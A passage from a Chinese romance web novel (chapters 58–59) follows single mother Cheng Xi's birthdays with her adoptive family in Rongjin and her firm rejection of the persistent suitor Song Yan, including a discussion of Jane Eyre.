原本不想打扰你,可是今天阿姨心里感触颇多,还是决定在这个辞旧迎新的日子告诉你这件事——阿姨跟东子他爸离婚了,净身出户,离婚后就从那边搬了出来,跟东子一起住在公寓。 主卧那间房一直给你留着,阿姨有时候会上去坐一坐,回想从前的日子。你早已走出来了吧?而我也早已开始了新生活。 有时候很羡慕你们这些年轻人,决定离婚时,我很痛苦,很害怕流言蜚语,怕人家骂我老不正经。但每次感到害怕,阿姨就会想起你,你的勇敢给了我勇气! 谢谢你,程溪,新年快乐,我很想你。】 程溪深吸一口气,仰起头静静地站了好一会儿。 她来到倪云初房间门口,敲响她的门。 倪云初没睡,很快开门,笑眯眯问她怎么。 程溪说:“明天我想出趟远门办点事儿,孩子能暂时交给你吗?” 倪云初点头:“可以呀,不过,怎么突然要出去?去哪里,干嘛啊?” 程溪抿着唇沉默,过了会儿轻声开口:“去京州,看望一个对我来说很重要的人。” 第58章 三十一岁。 二零一八年, 八月二十六日,程溪三十一岁了。 生日这天,女和倪云初,还有倪父倪母, 都陪在程溪身边, 大家把简易餐桌搭在院子里, 热热闹闹吃了顿野生菌火锅。 女儿幼儿园毕业,还没上小学, 七月底她便带着女儿从自己房子搬回民宿,主要是想多陪陪倪云初父母, 毕竟这两位长辈视她为亲女儿,待妙妙也极好。倪云初不爱与自己父母沟通, 嫌他们唠叨,程溪倒很爱听他们碎碎念。 程溪记得,第一次来容今那天也是她生日, 倪云初给她办理入住时看见她的生日信息,碰巧那天中午炖了乌鸡汤, 倪云初就用乌鸡汤给她煮了一碗长寿面。 鸡汤滋补, 面条筋道,倪云初热情——程溪在来容今的第一天就感受到了莫大的幸福。 后来在容今的许多日子, 她不断地被爱与关怀温暖着, 内心用来自保的防御堡垒, 一片一片被温情溶解。 据说每过七年, 人就会重生一次,程溪想,她每一年都会重生,不, 是每一天,甚至每一分每一秒,只要她愿意,她想得更好,做得更好,那她就能在下一秒成为更好的自己。 从小到大,她受过很多苦难,但这七年又得到了命运的青睐,成为上天的宠儿,所有经历都在直接或间接地让她明白一个道理:人,只要活下去,就没什么境况改变不了。世间万事万物,只有一样是不变的,那就是死亡。 在死亡来临之前,我们要接受一切的瞬息万变,并利用好这变化的可能性,成为自己最想成为的那个自己。 燃生日蜡烛,催她许愿,程溪双手合十闭上眼,认真地一字一句在心里默念着愿望,然后睁开眼将蜡烛吹灭。 倪云初问她许了什么愿,倪母说道:“问这个干嘛?愿望说出来就不灵了。” 程溪笑了笑,说:“没关系,说出来也灵。我们的人生就是想要就得到。” 倪云初狠狠点头附和:“对,姐现在的座右铭是——姐想要,姐得到!” 倪母:“哎哟,那照你这么说,我要想要个外孙女,也能得到?” “能啊!”倪云初抓着母亲胳膊,睁大眼睛,一脸懵懂卖萌,嗲嗲地说,“外婆外婆,我爱你!” 倪母又气又想笑,一巴掌拍她胳膊上:“滚一边去,还没我家妙妙可爱!” 六岁的程妙瑾一本正经看着他们,认真提议:“倪老板,你可以去冻卵,这样等你年纪大了生不出了,想要孩子照样也能造出来。” 大人们都愣了愣,程溪有些不好意思,赶忙替女儿道歉:“初初,干妈,妙妙她口无遮拦,你们别——” 倪云初非但没有生气,反倒笑了起来,冲妙妙竖起大拇指:“哎哟,不错哦,小小年纪懂这么多!这个建议很有建设性,倪老板记住了,等哪天要是心血来潮,一定会去尝试一下。” 倪母也满脸慈爱对程妙瑾说:“你妈妈觉得你说这话会冒犯我们,其实并没有,这个建议很好,外婆也曾经想过让初初去冻卵。” 程妙瑾看着倪母:“外婆,虽然我知道你不是我亲外婆,但等我长大了,你要是一直没有外孙外孙女,我可以永远做你的外孙女。我长大后一定会成为一个很厉害的人,放心吧,我有能力给你和外公养老。” 她一本正经承诺,逗得大人们哈哈大笑。 两位老人既开心又感动,倪母一把将她搂进怀里,左脸亲亲右脸亲亲:“你这孩子呀,我和外公平时可真没白疼!” 程妙瑾转脸看向倪云初:“倪老板你也放心,如果你这辈子注定无后,我也会给你养老的。” 倪老板拍着手大笑,扭头对程溪说:“快!快去拿纸和笔,让她写保证书按手印!这下我可爽咯,后半辈子有着落了,妙妙呀,打你一出生我就看出来了,你这辈子绝非凡人,将来势必飞黄腾达,有你这个长期饭票,我还要啥自行车啊!” 她最后一句学东北人讲话,怪腔怪调不伦不类,又逗得旁人忍俊不禁,倪母朝她脑门又轻轻来一掌,嫌弃的眼神中难掩母爱:“三十多岁的人了,还跟个小孩子似的,我看妙妙心理年龄都比你大!” 倪云初摇头晃脑做了个鬼脸,对程溪说:“哎哎哎,别逃避,还没回答我呢,刚才许了什么愿?” 程溪眉眼如月:“希望我们一家人健健康康,平平安安,开开心心,一辈子在一起。” 倪云初和父母会心一笑。她心里感动得不行,嘴上却说:“就这个呀?我还以为你会许什么劲爆的愿望呢!” 程溪了解她,这女人脑子里多得是黄色废料,扬了扬眉,明知故问:“哦?什么叫劲爆的愿望?” 倪云初干咳一声,清了清嗓子:“比如,嗯,谈个男朋友,找个帅哥玩一玩,勾搭个——” 不等她说完,倪母呵斥:“你胡说八道什么,孩子还在这儿呢!” 程妙瑾忽然举起手,就跟课堂上回答问题似的,认真说道:“报告外婆,不用在我面前避讳这种话题,我虽然只有6岁,但已经看过简单的生理科普绘本,知道孩子是怎么生下来的。说实话,我挺希望妈妈找个男朋友的,这样她就能少管我一点了。我觉得她管我纯粹是浪费时间,因为我已经很棒了,再被她管教,压力会很大的。” 六岁的小人儿顶着小小的漂亮的脸蛋,说出这样成熟的话,叫旁边大人们既想笑,又忍不住心疼。 倪母暗自叹气,心里想:这么聪明可爱,乖巧懂事的孩子,她爹怎么就不要呢? 晚上十点,大家回到各自屋里休息。 倪母睡不着,悄声来院子里,过了一会儿,听见身后传来脚步声,扭头看去,见是丈夫,问道:“怎么不睡?” 倪父笑着反问:“你不也没睡?” 倪母双臂交叠抱在胸前,望着脚下不远处一盆盛开的花,轻声叹息,说道:“心里压着事,睡不着。” 倪父:“程溪的事对吧?” 倪母点了点头:“其实我跟初初想法一样,也希望她找个男朋友。” 倪父:“你呀,活了大半辈子,怎么思想还这么老旧?我都看开了。初初就算一辈子不结婚不生子,也没关系,大不了我养着她。程溪也是,虽说是干女儿。可我早就把她当亲女儿看待。我的女儿们,想谈恋爱就谈,不谈就单着,她们有绝对的婚恋自由权。” 倪母瞥他一眼,摇头:“程溪都有孩子了,以后老了肯定是有保障的,我想她找个男朋友,又不是让她去依靠男人,她靠自己不也活得很好?我只是希望她能享受恋爱,品尝一下爱情的甜蜜。” 倪父叹了口气,笑声里几分无奈:“得了吧,‘爱情’带给她什么甜蜜啊?‘爱情’让她未婚孙女,一个人拉扯孩子,我要是她,我对男人和‘爱情’都有阴影了!” 倪母皱着眉反驳:“那是因为她以前遇人不淑。她要是碰上个有良心的好男人,绝不会像现在一样。这么好的姑娘,早就被娶回家捧在手心好好疼爱。” 说到这儿,倪母眉头皱得更深,也长长叹一口气:“不晓得妙妙她爹发没发现自己有个女儿,要是没发现,还蛮可惜的。要是发现了,却从来不来看孩子,那跟畜生有什么两样?畜生还护犊子呢!他对自己女儿不管不顾,不闻不问,没良心的东西!” 倪父:“妙妙长得跟程溪不太像,那应该是很像她爸爸了。照这么看,她爸爸相貌肯定十分出众,俗话说,‘漂亮的雄鸭不是好父亲’,可能那男人就是个虚有其表的浪子,金玉其外败絮其中。就算程溪跟他结婚了,也不会有好结果。不在一起也好,这种人真要常来看孩子管孩子,说不定还会把孩子带歪。” 倪母听了这番话,点头表示同意:“那倒也是。总之,你多在你们退休群里问问有没有单身好青年,给程溪介绍一下。年纪大她几岁,甚至离婚带孩子的,也都可以先接触看看。有时候好男人也不想离婚,只是要赶上倒霉,不得不离。只要人踏实,对程溪和孩子好,都可以先处处看,反正咱俩给她把关。” 倪父点头应道:“知道了,你也是,跳广场舞的时候,多跟你那些老姐妹互换一下相亲资源。” 倪母被老伴这话逗乐,轻轻推他一下:“什么老姐妹?我们年轻着呢。” 倪父笑道:“是是是,你们都是老来俏!” 二人乐呵呵离开院子。 程溪的房间就在院子旁,晚风凉爽,她只关了纱窗,静静躺在床上,睡不着,听到窗外院子里这对善良的夫妻聊起自己,便起身走到窗边,默默偷听起来。 倪父倪母离开院子后,程溪回想着刚才两人的对话,不禁鼻酸,也不禁感慨,自己真的很幸福。 在京州时,自己有尹岚和方姨的疼爱。来到容今,又有了倪父倪母充满善意的关怀与照顾。 如今她最庆幸的是,在曾经的每一个逆境中,即便再苦再难,自己都从未放弃生命。 程溪睡了个好觉,第二天早早起床,送妙妙附近一家教培机构上奥数班。回来后开始了一天的工作,正在房间专注敲着键盘,听见有人敲了敲门。 倪母在外面说:“忙着呢?溪溪,有个老朋友来看你了。” 程溪皱了皱眉,起身去开门,困惑地看着倪母:“老朋友?” 倪母点头,笑道:“是广城来的。” 程溪想了想,自己在广城朋友不多,更没有谁跟她关系好到会特意跑容今来看望她。 脑海中忽地浮现一个想法,程溪问:“这人男的女的?” 倪母笑容更甚: 程溪眉头紧蹙,忙问:“是不是姓宋?” 倪母点点头:“是,这位宋先生衣着打扮言行举止看上去都很贵气,是你以前在广城结交的朋友吗?” 程溪一瞧倪母那眼神,就知道她心里在想什么——想着撮合他俩成一对呢! 程溪叹了口气,太阳穴直突突,默不作声疾步来到客厅,看见那位宋先生,果然是宋言。 宋言见着她,脸上立刻浮现笑意,说道:“我来容州出差,想起你在这儿,就顺便过来看看。” 程溪看着他,没接茬,心里想:去年宋言找过来时,自己已经说得够清楚了,真不明白,这人怎么跟牛皮糖似的,粘上就甩都甩不掉!今年舔着脸出现不说,还跟什么都没发生过一样,合着去年自己那些话白说了! 程溪默默叹一口气,冷着脸开口:“宋先生,我干爸干妈还有事情要忙,我也得忙工作去了,就不招待您了,你慢走,不送。” 倪父倪母愣了愣,见她脸上这副冷淡表情,才知道她和这位宋先生估计不是什么好朋友,反倒像是有过节。 宋言见她丝毫不留情面,微微皱了皱眉,却并未走人,脸上仍挂着温和笑意:“你忙你的,我就在这等着,什么时候你忙完了,咱们再聊。” 程溪歪着脑袋,目光无奈,一咬牙,决定不再给他任何面子,当着倪父倪母直接说道:“宋先生,我跟你没什么好聊的——这话去年我就说过,今年又得说一遍,是不是明年还得再说一遍?” 她越说越激动,不禁攥紧双拳,身子微微发颤。 倪母见状,赶忙走到她身边,握住她手腕小声劝道:“别着急,有事好好说。” 程溪不是没有给过宋言脸面,可他一次又一次侵犯边界,又何曾给过她脸面? 程溪气得发抖,转身要走,听见身后宋言说道:“聊聊吧,不想知道他的近况吗?” 程溪停住脚步,一动不动站在原地,愣了一小会儿,转身看着他。 她在宋言脸上看到了一种笃定的表情,他知道,她一定明白刚才那话是什么意思,话里指的是谁,她清楚得很。 程溪轻轻抽一口气,淡声说:“进去聊。” 她把宋言带回自己房间,关上门,下巴冲浅棕色布艺沙发那扬了扬:“宋先生请坐。” 宋言摇着头走到窗边,双手揣兜气定神闲看着窗外院子里的美好景色,薄唇微弯,唇角勾起一抹暗藏无奈的笑,开口说道:“果然,你心里还是放不下周衍东。” 程溪走到他身边,面无表情看着他:“之所以叫您进来,并不是因为想知道周衍东近况。我跟他早已没有半点关系,也不好奇他过得怎么样。我只是想最后一次跟您好好聊聊,并且希望,这是我们最后一次见面。” 宋言扭头看她,俊朗面孔上带着淡淡笑意,微微扬了扬眉:“想必你也看出来了,我不是一个容易受别人左右的人,我固执,倔强,不听劝,一旦认定了什么人,认准了什么事儿,就不会轻易撒手。” 程溪盯着他眼睛,语气充满困惑:“您为什么非得认定我?您到底喜欢我什么?” 宋言转脸看向窗外:“我自己也不清楚。” 程溪冷笑:“不,您清楚,您心里比谁都清楚,只是您不愿意说出来。但作为被您骚扰了这么久的人,我想知道原因。” 宋言无奈笑道:“你觉得我在骚扰你?” 程溪蹙着眉,都快被这话给气笑了:“难道不是吗?” 宋言叹息一声,轻轻点头:“行,虽然我本意并非如此,但你非要把这当成骚扰,那也行。” 程溪一肚子火:“什么叫我‘非要把这当成骚扰’?什么叫‘那也行’?宋言,到底为什么?你能跟我说句实话吗?” 她直呼他大名,对他不在用敬称。 宋言的目光落回程溪脸上,看了她一小会儿,忽然笑了:“其实我挺喜欢你对我发火的。以前在广城,你总是唯唯诺诺,去年我来找你,你终于表现得硬气了,说实话,你凶起来的样子很可爱。” 程溪仰了仰头,无奈叹息:“宋先生,你真让人捉摸不透……” 宋言笑着问:“那要不要多跟我接触一下?兴许接触得久了,就能琢磨透了。” 程溪毫不犹豫拒绝:“不,我对你没兴趣。宋先生,我只希望过平淡的生活,所以,请你放过我。” 宋言:“就是因为想要过平淡的生活,才离开周衍东的吧?” 程溪轻咬着唇,沉默片刻,说:“是的,我和周衍东彼此都给不了对方想要的,分开对两个人都好。” 宋言:“我可以给你想要的。” 程溪笑了:“要我做你的情妇吗?别说我不喜欢你,就算我喜欢你,我也不会插足别人的婚姻,当一个第三者。” 宋言摇了摇头,目不转睛看着她,沉默片刻才开口:“程溪,我离婚了。” 程溪愣住,不由得瞪大眼睛,提起一口气,好一会儿才缓过神,蹙着眉问:“为什么?难道是因为……因为我?” 宋言笑起来:“有你的原因,但不全是。我和我前妻本身就是商业联姻,没什么感情,这些年大家不过是凑合过日子罢了。时间久了,她也腻了,知道我心不在她身上,就找了别人。 “我本身就不爱她,所以她找谁我都无所谓,但我想,她既然已经跟我摊牌,那么这段婚姻也没有维持下去的必要了,于是我们选择和平离婚。” 这番话让程溪沉默许久。 她脑中冒出一个问题,抬眸看向宋言,好奇问道:“那你呢?这些年里,你婚内出轨过吗?” 宋言原本看着窗外,这会儿扭头看向她:“只有一次,但只是精神出轨。” 他见程溪一脸不信的样子,薄唇微弯,笑起来:“其实我不是一个花心浪荡的人,相反,我很难爱上谁,一旦爱上了,又很难放手。不管你信不信,事实就是这样。” 程溪:“你是想说,你爱上我了,并且很难忘掉?” 宋言默不作声,淡淡看着她。 程溪不住地摇头:“不,我不这么觉得。我觉得你对我更像是有一种执念,这份执念可比爱要多多了,这也是我一直很好奇的事:我身上到底有什么,是你一直在寻找的?” 宋言依然沉默。 程溪又问:“如果,我是说如果,我答应跟你在一起,你会跟我结婚吗?” 出乎她意料的是,宋言竟然点了点头。 程溪惊得下巴都快掉了:“你——会?” 宋言再次点了点头,微笑着瞧她。 程溪问这个问题,原本只是好奇,并不代表她真想跟宋言发生什么。 她耸了耸肩,摇着头说:“别开玩笑了。” 宋言看着她,目光无比认真,语气也十分严肃:“没开玩笑,如果你愿意,咱们今天结婚都可以。” 程溪蹙着眉,盯了他好一会儿。 要不是男女授受不亲,她真想摸摸宋言脑门儿,看他是不是发烧了,脑子烧糊涂了,才开始胡言乱语。 宋言像是有读心术,知道她心里在想什么,笑着开口:“没发烧,脑子没坏,刚才说的都是实话。” 程溪摇着头无奈轻笑:“宋先生,你可真是……” 她找不到言语来形容这个怪人,连连叹气。 宋言: 程溪淡淡看着他,问:“你会给我幸福生活?宋先生,请问那是怎样一种幸福生活呢?” 宋言:“你可以不用再工作,我养你一辈子。你有数不清的钱可以挥霍,你的孩子会有最好的生活环境,能接受最优的教育。我会充分尊重你,理解你,爱护你。我们要是结婚了,公司和外面的事儿听我的,在家里,我都听你的。” 这话程溪听得发笑:“宋先生,你知道吗,你说的这种生活,周衍东也能给我,但我主动放弃了,因为它不是我想要的。或许在你们眼里,这就是你们在婚姻中能做的最大让步,也是你们能够给妻子提供的最好的条件。 “但并不是所有女人都会把它定义为幸福,我就是例外。我不向往当豪门太太。你可能会觉得我清高,傲慢,不过说实话,我甚至不屑于豪门太太这种身份。在我心里,我把爱情排在身份地位之前。 “我不是没有过嫁入豪门跨越阶级的机会,只是我主动放弃了。我也并非是个视金钱如粪土的人,我承认钱很重要,我只是更明白,相比于巨大的财富,我更看重真挚的爱情。” 她顿了顿,话锋一转,忽然问:“宋先生,你看过《简·爱》吗?” 宋言愣了愣,不知她为什么问起这个,茫然地点了点头,说:“学生时代看过。” 程溪:“大概剧情你还记得吧?” 宋言点头。 程溪:“这本名著我反反复复读过很多遍,读完第一遍,我觉得好浪漫;读完第二遍,我依然被简·爱和罗切斯特的爱情深深震撼;后来,我又读了好几遍,渐渐发现,简爱的确是个很有反抗精神的人,可我认为,她反抗得还不够彻底,她最终还是做出了某种妥协,或者说,落进了那个老男人的圈套。” 宋言眨了眨眼,问:“所以你觉得简·爱不该嫁给罗切斯特?” 程溪点头:“换做是我,我不会嫁给他,并不是因为他的身体原因,而是因为,我认为他对简爱的情感里,藏着许多心机,他太会权衡利弊。甚至说极端一点,我认为他是算计。 “他大简·爱那么多,知道她是个涉世未深的姑娘,他的许多举动都像是在利用简·爱的单纯而达到心理操控的目的。他太懂得如何道德绑架一个小姑娘了。简爱最后跟他在一起,我不认为是选择了爱情,反倒觉得她是被一个老男人彻彻底底迷惑了,洗脑了……” 程溪深吸一口气,顿了顿,一字一句清晰说道:“宋先生,我觉得你给我的感觉和罗切斯特很像。你大我也挺多,你一定也藏着某个秘密,就像罗切斯特隐瞒自己已婚的事实。 “罗切斯特将发疯的妻子关起来这个秘密,曾经让我深感震撼,那么,宋先生,你又有什么秘密藏在心里,不敢告知于人?” 认识程溪这么多年,尽管与她接触得不多,但在宋言眼里,她总是一副单纯无害的小白兔形象,他还是头一次看见她有如此强的攻击性。 宋言沉默一会儿,摸了摸鼻子,扭头看窗外,避开程溪咄咄逼人的目光:“活在这个世界上,谁没有秘密?程溪,你不也有秘密吗?你的秘密,周衍东知道吗?” 程溪误把他这话当做威胁,瞬间血涌天灵盖,怒道:“你想说就去说!去告诉周衍东,我把孩子生下来了……去说吧,我不拦着!” 宋言无奈地叹了口气,摇摇头:“你别着急,我不是这个意思,我只是——” 程溪气得哭,眼泪成串往下掉:“‘只是’什么?只是有口无心?只是太在意我,所以选择纠缠不放手?宋言,你让我觉得很累,很害怕……我不喜欢你,更不想跟你有任何纠葛!你能给我的一切我都不要,我只要平静的生活! “我不是简·爱,我是程溪!这世界上,别人毕生追求和看重的东西,对我而言都不是最重要的,我知道自己想要什么,也从不向任何人任何事妥协——包括命运。” 最后四个字,她说得咬牙切齿。 宋言以前一直觉得程溪像只兔子,此时此刻,他忽然感觉,自己面前的女人其实像头豹子。 他转念又想,或许这女人从来就是一头豹子,表面温顺乖巧,内心长满爪牙,暂时的退让并不意味着屈服,她只是隐藏了爪牙,等到关键时刻才亮出来,对抗阻拦在自己和目的地中间的一切障碍。 宋言勾了勾唇,淡然笑道:“这本名著我看得早,有些情节已经忘了,听你这么一说,倒是勾起了重温的兴趣。” 他转身,走到门口,出门前,回头看了看程溪:“你不必把我料想得很坏,我承认,自己身上确实有男人共有的某些劣根,但我可以发誓:我已经离婚,离婚证可以给你看——如果你想看的话。我也可以发誓:我住的地方没有藏过任何女人,你可以随时去检查——如果你想检查的话。” 程溪望着窗外,没有扭头看他,语气温和许多:“宋先生,你走吧,这次走了就别再来了。把时间和精力用在值得的地方,我们不是良配。” 宋言没有回应这句话,离开时轻轻替她关上了门。 听见关门声,程溪终于松一口气,半个身子靠着窗框,胳膊伸出窗外,轻轻抚摸院子里那株长在窗外的盆栽,指腹感受着绿叶微凉的触感。 她摸着这片叶子,看着上面细小的纹路,心想:叶子这么脆弱,自己只要稍稍用力就能把它摘下来,攥在手里就能把它揉皱。 她松开手,抬头望着不远处长在角落里的一棵树,又想:她早已不是一片叶子,她变成了树,想要毁灭她,还真得费点功夫。 想到这,她笑了笑,心中充满力量,对宋言不再感到害怕。 上午十一点半,程溪去奥数班将孩子接回来,午饭时,她总感觉倪父倪母在偷偷看自己,每当她抬起目光,就发现他们迅速低头吃饭。像是有什么事瞒着她,又像是有什么话欲言又止。 吃完午饭,倪父在厨房洗碗,倪云初回房间玩游戏,妙妙回房间看书,倪母则将程溪叫去了自己房间。 走进房间,倪母将门关上,压低声音对程溪说道:“你跟那位宋先生是不是有什么过节?” 程溪猜到她要问这个,低头沉默片刻,说:“没什么,过节只是——” 她叹一口气,坦白:“只是他一直缠着我,让我感觉很不舒服。” 倪母皱起眉头,搞不懂:“烦什么呀?我看这位宋先生仪表堂堂,经济条件也很不错,年纪虽然一看就比你大,但估计也大不了多少,你俩是老相识,为什么不试着处处看?是不是他人品不行?” 程溪心想,宋言对自己起心思时还是在婚内,这么看来,人品确实不太行。 “干妈这事您别管了,总之我跟他不可能的。” 倪母沉默片刻,问:“为什么不可能?难不成你心里还有妙妙她爸?” 程溪忙不迭否认:“没有,才没有!只是……” 她摆摆手,叹气:“这事儿比较复杂,您就别管了!” 倪母挪开目光,低头沉默,过了会儿轻声说道:“那位宋先生他……他把你房间旁边那间房租下了。” 程溪蓦地愣住:“他?租下了?” 倪母点头:“对,旁边那间房上次那个租客离开后,空了小半个月,现在暑假快结束了,也不算旅游旺季,最近一直没租出去。他见那间房敞开着门,就问我们能不能租。你干爸当时没答应,想问问你的意思。 “我当时想着,宋先生看上去一表人才,条件也不错,虽然你们之间可能闹了些不愉快,可我还是觉得你俩看起来很般配,不死心,想撮合你俩,就答应了……他签完合同就走了,说先去忙事情,晚上再回来。” 程溪闭着眼,无力地叹息一声。 她知道倪母是好心,没法怪人家,可宋言在自己旁边住下这事儿怎么想怎么别扭。 程溪问:“他租多久?” 倪母:“一年。” 程溪惊讶: 倪母点点头:“是,租了一年。不过他说他工作忙,不能常来,还说他回来之前会给我们打电话,提前告诉我们回来的日子,他不在这时,这间房能短租出去。” 程溪头疼得厉害,揉了揉太阳穴:“他这人怎么——唉,就没见过他这样的!” 倪母:“我现在就给他打电话,说这间房我们不租了!对不起啊溪溪,是我太多事,管得宽,早知道就——” 程溪摇了摇头:“您是好心,我不怪您。那间房今年租出去的时间也少,他愿意租下来就让他租吧。他在广城生意做得大,确实忙,来这的时间肯定很短,一年来不了几次,一次呆不了几天。其他时候短租给别人,多赚点是点。 “我没关系的,等会儿我就带妙妙回去,以后他什么时候会来,您提前告诉我,他来我就不来,跟他错开就行。” 倪母还是担心:“真没事儿?” 程溪:“没事儿,这笔钱不赚白不赚。” 倪母仍放心不下,决定违约,被程溪好说歹说劝住。 从倪母房间出来,程溪心里难受,独自出去散步,沿着青石板路一直走,走累了就在路边一条长椅上坐下,望着街边来来往往的人,思绪纷飞。 耳旁传来一个熟悉的声音,将她从杂乱思绪中拉回现实。 “想什么呢,这么认真?” 她扭头一看,见是宋言,噌地起身低声惊呼:“你跟踪我!” 宋言立马摇头:“没有,只是办完事儿来这条步行街散心,正巧碰见你,也算是有缘。” 程溪抱着胳膊扭头望向别处,不想搭理他。 宋言自顾自往长椅上一坐,转脸看着她:“我上个月回京州出差,看见周衍东了,真不想知道他近况?” 程溪低头望着自己脚上的米色球鞋:“四年前我回去过一趟,看见过他。” 这宋言倒是没想到,微扬着眉:“你去找他了?” 程溪摇头:“没有。我以前跟周衍东同居过,那次回去,在以前我们住的公寓外一家咖啡店里坐了很久。白天看见尹阿姨和之前照顾过我的保姆阿姨进出公寓楼,晚上又看见周衍东喝得醉醺醺从车里出来,被司机和他助理扶进楼里。” 宋言:“只是远远看着,没去找他们?” 程溪:“没有。” 宋言:“为什么?” 程溪笑了笑:“没必要。” 宋言:“可是你大老远跑过去——” 程溪:“大老远跑过去只是为了看尹阿姨。” 宋言:“不是特意去看周衍东?” 程溪:“不是。我跟周衍东从分手那一刻起,就不再有关系了,他怎么样我不关心。不过以前尹阿姨对我特别好,我离开京州后,他也一直挂念我,给我发了很多消息,我都没回复。我知道不该这样,可我不能回复……要说京州我有什么放不下的,那就只有尹阿姨了。” 宋言:“你跟周衍东怎么会没有关系?你们还有个孩子。” 程溪笑了:“他不知道有这个孩子,那么这个孩子对他来说就等于不存在。” 宋言:“就事论事,我觉得这样对他挺不公平的。” 程溪终于扭头看着他,说道:“这是我的孩子,她是从我肚子里生出来的。” 宋言连忙解释:“别误会,我不是想让你把孩子给周衍东,只是同为男人,如果我知道自己在外一直有个女儿,我会很难受。” 程溪:“没想到你共情能力还挺强。” 宋言笑笑:“只是有感而发。” 程溪:“我已经告诉了你一个秘密,你也告诉我一个秘密好吗?” 宋言知道她想听什么,扭头默默望向前方,又陷入了沉默。 程溪:“你不打算告诉我也没关系,不过有些事儿我还挺好奇。” 宋言:“什么事儿?” 程溪:“您这辈子,有没有深深爱过一个人?” 宋言不作声,点了点头。 程溪:“既然深爱过,为什么会分手?” 宋言仰头望着天空,淡淡开口:“人在很年轻的时候,想要的东西很多,能抓住的,却很少。等有实力抓住很多的时候,曾经最爱、最想要的,却再也找不着了。” 程溪默默看着他,在这张俊秀面孔上看出了几分忧郁。 她问:“为什么这么说?” 宋言摇头,不言语。 程溪感慨:“原来你也有遗憾啊。” 宋言耸耸肩:“当然,谁没有遗憾?” 程溪又盯着他看一小会儿,冷不丁问:“我跟那个遗憾有关吗?” 宋言愣住,转过脸来默默瞧她,薄唇紧抿。 程溪越发确定心中猜想:“我猜对了,是吗?你对我的那份执念,跟你的遗憾有关,对不对?你真正爱的不是我,而是一个跟我长得很像的人,或者跟我的身份、经历相似的人,又或者,曾经有这么一个人,她带给你的感觉,跟我带给你的感觉很像很像……” 见他仍不作声,程溪知道,自己猜对了。 她目不转睛看着他,试图从他眉眼挖掘出一些特别的情绪来佐证自己的猜测。 良久,宋言终于开口:“说起来,算是个很长的故事。” 程溪发现他内心的防备已经松动,趁热打铁:“那就长话短说。” 宋言扭头看着他,问:“真想知道?” 程溪:“当然!所以,我猜对了是吗?” 她明知故问。 宋言点点头:“你知道我其实是京州人吧?” 程溪:“嗯。” 宋言:“知道我为什么去广城吗?” 程溪:“做生意呗。” 宋言:“起初没打算在那边儿做生意,只是跟家里闹掰了,跑到南方去。知道我为什么跟家里闹掰吗?” 第59章 三十二岁。 二零一九年八月二十六日, 程溪三十二岁了。 这天下午,她去学校接到放学的女儿,带着孩子一起回倪家民宿。 今年旅游行情不错,两间房总有人短租, 还有一间被宋言租着, 听倪云初说, 租期没到他又提前续租了。 宋言是去年租的这间房,租下一年, 来过三次,每次间隔几个月, 来这儿就待两三天。 每次来,都没见着程溪, 他知道,一定是民宿房东给程溪通风报信了,毕竟自己回来前都会告知房东。 程溪三十二岁生日这天, 宋言忽然出现在门口,倪母以为是新客人要来住, 笑着迎上去, 一见是他,蓦地愣住了。 “宋、宋先生, 过来怎么不提前打声招呼?”倪母心想, 坏了, 程溪和妙妙肯定正在回来的路上。 宋言见她面露为难, 知道她在想什么,淡淡笑道:“今天来容州出差,原本不打算过来,临时又挺想念这儿的, 索性直接来了,抱歉,没有提前通知。” 话音刚落,宋言便看见程溪牵着孩子往民宿门口走。 程溪正低着头和妙妙说话,走到门口才抬头,见宋言杵在门口,先是一愣,随即看向他旁边的倪母,又低头看看孩子。 她牵着孩子默默后退两步。 三位女性各有各的局促,宋言倒是气定神闲,看着程溪说:“今天来容州出差,想起你正好过生日,提前结束工作,赶过来看看你。” 倪母目光移到他脸上,皱了皱眉,心想:刚才明明不是这么说的啊。 程溪抿着唇没作声。 宋言倒也不生气,微微俯身,冲正目不转睛看着他的孩子说道:“你好,小朋友,你叫妙妙是么?” 程妙瑾点了点头。 宋言又笑道:“我姓宋,你可以叫我宋叔叔。” 没说。 这孩子性子冷,尤其是对陌生人,程溪时常提醒她要有礼貌,勤跟人打招呼,但这一次,孩子没跟宋言打招呼,程溪也没责怪。 程溪看向倪母,问:“干妈,初初呢?” 倪母点点头:“应该还在厨房忙活,我刚出去买了几瓶调料。她最近在网上学厨艺呢,说是要给你搞点硬菜,你还别说,做出来像模像样的!” 倪母说完,转脸看着宋言:“宋先生,你房间昨天才打扫过,床品都是干净的,登完记直接入住就行。” 她冲程溪使了个眼色,快步往里走,程溪带着孩子跟上去。 倪父在前台听着外面的动静,心里琢磨一番,面上只当什么也没听见,乐呵呵跟程溪和孩子打招呼,她们仨往厨房走去,宋言过来办入住,倪父笑着开口:“像宋先生这么有毅力的男人,不多见啊!” 说完,立马又笑眯眯补充:“当然了,我指的是你对容今的喜爱,容今是我的故乡,我替我的故乡感谢你。” 宋言哪会不知道他玩笑之下暗指什么,顺着这话说道:“倪老先生客气了,容今很好,值得被坚定地选择和喜欢。” 倪父自然听得懂他话里的“容今”并不指的是容今,思忖片刻,意味深长笑了笑:“今天是程溪生日,晚餐很丰盛,宋先生要一起吃吗?” 宋言当然想,可他知道,自己突然到来,已经让程溪很不高兴了,要是再蹭这顿晚饭,只会让她更难受,生日都过不舒坦。 他摇摇头,礼貌拒绝:“不了,谢谢您,我有点儿累,先回房间休息。” 倪父望着他背影,陷入沉思,过了会儿程溪独自从厨房出来,倪父问:“妙妙呢?” 程溪指了指厨房:“在里面看初初做毛血旺。前天看电视上人家比拼厨艺,有厨师正好做了毛血旺,制作过程她给记下来了,小小的人儿,还指点初初呢。” 倪父乐得笑起来:“别小瞧她,说不定她以后厨艺比我们都好。” 程溪叹一口气:“那也不能太傲,我现在就是愁这个,怕她在学校被孤立。” 倪父宽慰道:“聪明人会在群体生活中慢慢找到最舒适的相处之道,妙妙是顶聪明的人,你不用为她操心。” 说着,倪父看向宋言房间所在的方向,下巴冲那边扬了扬,话锋一转:“宋先生进屋了。” 程溪低下头,轻咬着唇不知该说什么。 倪父慈祥的面庞上浮现笑意,压低声音:“你们的事,我早听你干妈说过了,没想到这位宋先生还挺执着的。溪溪,他对你情深义重,不妨给个机会,试着多接触一下?” 程溪想都没想便摇头:“干爸,您误会了,他没那么爱我,他只是——” 话说一半忽然收住,她及时收住,叹了口气:“您说的这些,干妈也劝过我。我知道,您和干妈是为我好,毕竟我都三十多了,您们希望我找个值得的人托付终身,可我早就想清楚了,这辈子不会结婚,至于恋爱,暂时也不打算谈。” 